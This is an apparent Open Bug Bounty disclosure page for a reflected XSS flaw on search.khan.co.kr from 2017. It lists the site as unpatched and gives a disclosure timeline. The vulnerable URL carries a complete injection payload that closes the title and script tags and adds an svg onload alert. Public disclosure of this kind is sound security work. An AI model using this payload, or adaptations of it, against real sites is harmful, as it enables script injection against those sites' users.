Lucene search
IwoodythecowboyOBB:208303HistoryJan 23, 2017 - 8:11 p.m.
search.khan.co.kr XSS vulnerability
2017-01-2320:11:00
iwoodythecowboy
www.openbugbounty.org
5
Vulnerable URL:
http://search.khan.co.kr/search.html?sect=1&path;=1&q;=%22%3E%3C%2Ftitle%3E%27%3E%3B%3C%2Fscript%3E%3Csvg%2Fonload%3Dalert%28%2FOPENBUGBOUNTY%2F%29%3E
Details:
| Description | Value |
|---|---|
| Patched: | No |
| Latest check for patch: | 28.07.2017 |
| Vulnerability type: | XSS |
| Vulnerability status: | Publicly disclosed |
| Alexa Rank | Unknown / Not calculated |
| VIP website status: | No |
| Check search.khan.co.kr SSL connection: | (Grade: F) |
Coordinated Disclosure Timeline:
| Description | Value |
|---|---|
| Vulnerability submitted via Open Bug Bounty | 23 January, 2017 20:11 GMT |
| Generic security notifications sent to website owner | 23 January, 2017 20:13 GMT |
| Notification sent to subscribers (without technical details) | 23 January, 2017 22:17 GMT |
| Vulnerability details disclosed by researcher | 13 February, 2017 20:14 GMT |